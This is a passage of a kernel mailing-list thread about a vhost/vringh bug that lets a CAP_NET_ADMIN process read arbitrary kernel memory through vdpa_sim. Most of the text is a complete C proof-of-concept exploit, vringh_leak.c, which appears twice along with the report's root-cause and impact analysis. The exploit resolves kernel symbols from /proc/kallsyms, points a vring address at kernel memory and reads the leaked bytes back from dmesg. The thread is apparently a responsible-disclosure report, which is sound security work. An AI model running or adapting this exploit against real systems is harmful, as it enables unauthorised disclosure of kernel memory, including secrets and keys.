> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg getfamily"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
> int hlen = GENL_HDRLEN;
> struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
> int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
> *fam_id = 0;
> for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
> if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
> *fam_id = *(__u16 *)nla_data_(na);
> return 0;
> }
> }
> return -1;
> }
>
> static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_NEW;
> gh->version = VDPA_GENL_VERSION;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg dev_new"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) {
> struct nlmsgerr *e = NLMSG_DATA(r);
> if (e->error == 0)
> return 0;
> fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
> return -1;
> }
> return 0;
> }
>
> static int genl_dev_del(__u16 fam, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_DEL;
> gh->version = VDPA_GENL_VERSION;
> nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> sendmsg(nlsock, &msg, 0);
> char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> recvmsg(nlsock, &rmsg, 0);
> return 0;
> }
>
> static unsigned long ksym(const char *want)
> {
> FILE *f = fopen("/proc/kallsyms", "r");
> if (!f) return 0;
> char line[512];
> unsigned long a = 0;
> while (fgets(line, sizeof(line), f)) {
> char type; char name[256];
> if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
> if (strcmp(name, want) == 0) { fclose(f); return a; }
> }
> }
> fclose(f);
> return 0;
> }
>
> static int expected_leak(unsigned *out)
> {
> FILE *f = fopen("/proc/version", "r");
> if (!f) return -1;
> char v[256];
> if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
> fclose(f);
> int len = (int)strlen(v);
> if (len < 6) return -1;
> unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
> *out = m;
> fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => expected leak M = 0x%04x (%u)\n",
> (unsigned char)v[4], (unsigned char)v[5], m, m);
> fprintf(stderr, "[*] /proc/version = %.40s\n", v);
> return 0;
> }
>
> int main(int argc, char **argv)
> {
> unsigned exp;
> if (expected_leak(&exp)) die("cannot read /proc/version");
> unsigned long banner = ksym("linux_banner");
> fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
> if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
>
> nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
> if (nlsock < 0) die("netlink socket");
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
> __u16 fam;
> if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
> fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
> if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
> fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
>
> char path[64]; int vfd = -1;
> for (int i = 0; i < 50; i++) {
> snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
> vfd = open(path, O_RDWR | O_CLOEXEC);
> if (vfd >= 0) break;
> }
> if (vfd < 0) die("open /dev/vhost-vdpa-*");
> fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
>
> int callfd = eventfd(0, EFD_CLOEXEC);
> int kickfd = eventfd(0, EFD_CLOEXEC);
> if (callfd < 0 || kickfd < 0) die("eventfd");
>
> if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
>
> __u64 bf = 0;
> if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
> __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
> | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
> | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
> | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
> if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
>
> __u64 feat = 0;
> if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
> __u64 ack = 0;
> ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
> ack |= (1ULL << VIRTIO_F_VERSION_1);
> ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
> ack &= feat;
> if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
> if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
>
> struct vhost_vring_state vs = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
>
> size_t pg = 4096;
> void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
> memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
>
> struct vhost_vring_addr va = {0};
> va.index = 0;
> va.flags = 0;
> va.desc_user_addr = (uintptr_t)descbuf;
> va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the leak source */
> va.used_user_addr = (uintptr_t)usedbuf;
> va.log_guest_addr = 0;
> if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
>
> struct vhost_vring_state base = { .index = 0, .num = 0 };
> if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
>
> struct vhost_vring_file cf = { .index = 0, .fd = callfd };
> if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
> struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
> if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
>
> struct vhost_vring_state en = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
>
> __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
> | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
> if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
>
> uint64_t one = 1;
> if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
>
> unsigned leaked = 0; int found = 0;
> for (int try = 0; try < 20 && !found; try++) {
> usleep(100000);
> FILE *d = popen("dmesg 2>/dev/null", "r");
> if (d) {
> char l[512];
> while (fgets(l, sizeof(l), d)) {
> char *p = strstr(l, "Guest says index");
> if (p) {
> unsigned idx = 0, numv = 0;
> if (sscanf(p, "Guest says index %u > %u is available",
> &idx, &numv) >= 1) {
> leaked = idx; found = 1;
> fprintf(stderr, "[!!] dmesg: %s", l);
> break;
> }
> }
> }
> pclose(d);
> }
> }
>
> if (!found) {
> fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
> FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
> if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
> die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
> }
>
> fprintf(stderr, "\n=== RESULT ===\n");
> fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
> fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", exp, exp);
> if (leaked == exp) {
> fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
> fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
> } else {
> fprintf(stderr, "MISMATCH - investigate\n");
> }
>
> status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
> close(vfd); close(callfd); close(kickfd);
> genl_dev_del(fam, "sim0");
> return (leaked == exp) ? 0 : 2;
> }
> ```
>
> Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> ```
> [ 1.882938] vringh:
> [ 1.882944] Guest says index 8312 > 1 is available
> ```
>
> 7. Impact
> Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> read 2 bytes at an arbitrary kernel virtual address per vring kick via
> __get_user() with no access_ok(), and the value is disclosed to dmesg via
> vringh_bad(). The read is repeatable, so the whole kernel address space
> can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> reads. No memory corruption. KASLR does not prevent it (only the address
> is randomized, the leaked content is constant). Only the use_va mode is
> affected (the non-use_va path goes through GUP, which has an equivalent
> check_range guard).
>
> Please let me know if you need more detail.
>
Can you send a fix patch? It can be AI generated too.
Thanks!
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-15 7:23 [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough Haoran Wang
2026-10-15 7:42 ` Eugenio Perez Martin
@ 2026-10-17 21:59 ` David Laight
2026-10-18 19:24 ` Michael S. Tsirkin
2 siblings, 0 replies; 13+ messages in thread
From: David Laight @ 2026-10-17 21:59 UTC (permalink / raw)
To: Haoran Wang
Cc: mst, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Thu, 15 Oct 2026 15:23:45 +0800
Haoran Wang <haoranwangsec@gmail.com> wrote:
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
>
> 1. Summary
> getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> without an access_ok() check. iov_base originates from iotlb_translate(),
> which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> does not call access_ok(). In the vdpa_sim default passthrough mode the
> entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> vdpasim_set_vq_address() stores the controller-supplied vring address
> verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> worker reads 2 bytes from that kernel address via __get_user (no
> access_ok). Each vring iteration reads 2 bytes and the value is
> repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> would have rejected a kernel address via access_ok(), while__get_user() does
> not.
Can 'YOU' write that in proper English?
That is just horrid twaddle.
David
>
> 2. Vulnerable code
> - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> - Function: getu16_iotlb
> - Misused API: __get_user
>
> ```c
> /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
> if (vrh->use_va) {
> ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> }
>
> /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
> /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
> vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
> vq->desc_addr = desc_area; /* controller-controlled = kernel address */
> ```
>
> 3. Root cause
> get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> (it expands to __get_user_nocheck, which performs no check_range, whereas
> get_user/put_user expand to the check_range-bearing variants that reject
> kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> addresses supplied by the controller (driver_addr/desc_addr) flow through
> iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> address space, so any address passes the lookup. vdpasim_set_vq_address()
> stores the controller's u64 with no user/kernel validation, and
> vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> because vq->private_data is never set. Consequently __get_user
> dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> worker runs under kthread_use_mm() in the controller's mm with SMAP
> disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> kernel memory are read. With num=1, __vringh_get_head() sees head (the
> leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> to dmesg, making the leak externally observable.
>
> 4. Affected versions
> Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
>
> 5. Trigger / Preconditions
> CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
>
> 6. Proof of Concept
> Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
> VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
> and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
> by vringh_bad().
>
> Concrete reproduced evidence (7.2.10):
> - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
> (linux_banner[5]=' '(0x20) << 8)
> - The expected value is independently computable from /proc/version (which
> prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
> = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> - Across 3 boots the banner *address* changed under KASLR
> (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
> trigger resolves it at runtime via /proc/kallsyms), while the leaked
> *content* was 8312 every time. KASLR only randomizes the address, the 2
> bytes read there are constant.
>
> So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> virtual address by setting a vring avail_user_addr to that address and
> kicking the vdpa_sim worker. The value is disclosed to dmesg via
> vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> 7.2.10 kernel.
>
> Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> (CAP_NET_ADMIN):
>
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <stdint.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/mman.h>
> #include <linux/netlink.h>
> #include <linux/genetlink.h>
> #include <linux/vhost.h>
> #include <linux/vdpa.h>
> #include <sys/eventfd.h>
>
> #ifndef VHOST_VDPA
> #define VHOST_VDPA 0xAF
> #endif
>
> #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_ASID
> #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> #endif
> #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> #endif
>
> static inline int nla_ok_(const struct nlattr *nla, int remaining)
> {
> return remaining >= (int)sizeof(struct nlattr) &&
> nla->nla_len >= (int)sizeof(struct nlattr) &&
> nla->nla_len <= remaining;
> }
> static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
> {
> int tot = (int)NLA_ALIGN(nla->nla_len);
> *remaining -= tot;
> return (struct nlattr *)((char *)nla + tot);
> }
> static inline void *nla_data_(const struct nlattr *nla)
> {
> return (char *)nla + NLA_HDRLEN;
> }
>
> #ifndef VDPA_GENL_NAME
> #define VDPA_GENL_NAME "vdpa"
> #endif
> #ifndef VDPA_GENL_VERSION
> #define VDPA_GENL_VERSION 1
> #endif
> #ifndef VDPA_CMD_DEV_NEW
> #define VDPA_CMD_DEV_NEW 3
> #endif
> #ifndef VDPA_CMD_DEV_DEL
> #define VDPA_CMD_DEV_DEL 4
> #endif
> #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> #endif
> #ifndef VDPA_ATTR_DEV_NAME
> #define VDPA_ATTR_DEV_NAME 4
> #endif
>
> #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
> #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
>
> static int nlsock;
> static __u32 nlseq = 0;
>
> static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
> {
> struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
> int sl = (int)strlen(s) + 1;
> int pl = NLA_HDRLEN + sl;
> int pad = NLA_ALIGN(sl) - sl;
> if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
> nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
> nla->nla_len = (__u16)pl;
> nla->nla_type = (__u16)type;
> memcpy((char *)nla + NLA_HDRLEN, s, sl);
> nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
> (void)pad;
> return 0;
> }
>
> static int genl_resolve_family(const char *name, __u16 *fam_id)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = GENL_ID_CTRL;
> nlh->nlmsg_flags = NLM_F_REQUEST;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = CTRL_CMD_GETFAMILY;
> gh->version = 1;
> nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg getfamily"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
> int hlen = GENL_HDRLEN;
> struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
> int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
> *fam_id = 0;
> for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
> if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
> *fam_id = *(__u16 *)nla_data_(na);
> return 0;
> }
> }
> return -1;
> }
>
> static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_NEW;
> gh->version = VDPA_GENL_VERSION;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg dev_new"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) {
> struct nlmsgerr *e = NLMSG_DATA(r);
> if (e->error == 0)
> return 0;
> fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
> return -1;
> }
> return 0;
> }
>
> static int genl_dev_del(__u16 fam, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_DEL;
> gh->version = VDPA_GENL_VERSION;
> nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> sendmsg(nlsock, &msg, 0);
> char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> recvmsg(nlsock, &rmsg, 0);
> return 0;
> }
>
> static unsigned long ksym(const char *want)
> {
> FILE *f = fopen("/proc/kallsyms", "r");
> if (!f) return 0;
> char line[512];
> unsigned long a = 0;
> while (fgets(line, sizeof(line), f)) {
> char type; char name[256];
> if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
> if (strcmp(name, want) == 0) { fclose(f); return a; }
> }
> }
> fclose(f);
> return 0;
> }
>
> static int expected_leak(unsigned *out)
> {
> FILE *f = fopen("/proc/version", "r");
> if (!f) return -1;
> char v[256];
> if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
> fclose(f);
> int len = (int)strlen(v);
> if (len < 6) return -1;
> unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
> *out = m;
> fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => expected leak M = 0x%04x (%u)\n",
> (unsigned char)v[4], (unsigned char)v[5], m, m);
> fprintf(stderr, "[*] /proc/version = %.40s\n", v);
> return 0;
> }
>
> int main(int argc, char **argv)
> {
> unsigned exp;
> if (expected_leak(&exp)) die("cannot read /proc/version");
> unsigned long banner = ksym("linux_banner");
> fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
> if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
>
> nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
> if (nlsock < 0) die("netlink socket");
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
> __u16 fam;
> if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
> fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
> if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
> fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
>
> char path[64]; int vfd = -1;
> for (int i = 0; i < 50; i++) {
> snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
> vfd = open(path, O_RDWR | O_CLOEXEC);
> if (vfd >= 0) break;
> }
> if (vfd < 0) die("open /dev/vhost-vdpa-*");
> fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
>
> int callfd = eventfd(0, EFD_CLOEXEC);
> int kickfd = eventfd(0, EFD_CLOEXEC);
> if (callfd < 0 || kickfd < 0) die("eventfd");
>
> if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
>
> __u64 bf = 0;
> if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
> __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
> | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
> | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
> | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
> if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
>
> __u64 feat = 0;
> if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
> __u64 ack = 0;
> ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
> ack |= (1ULL << VIRTIO_F_VERSION_1);
> ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
> ack &= feat;
> if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
> if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
>
> struct vhost_vring_state vs = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
>
> size_t pg = 4096;
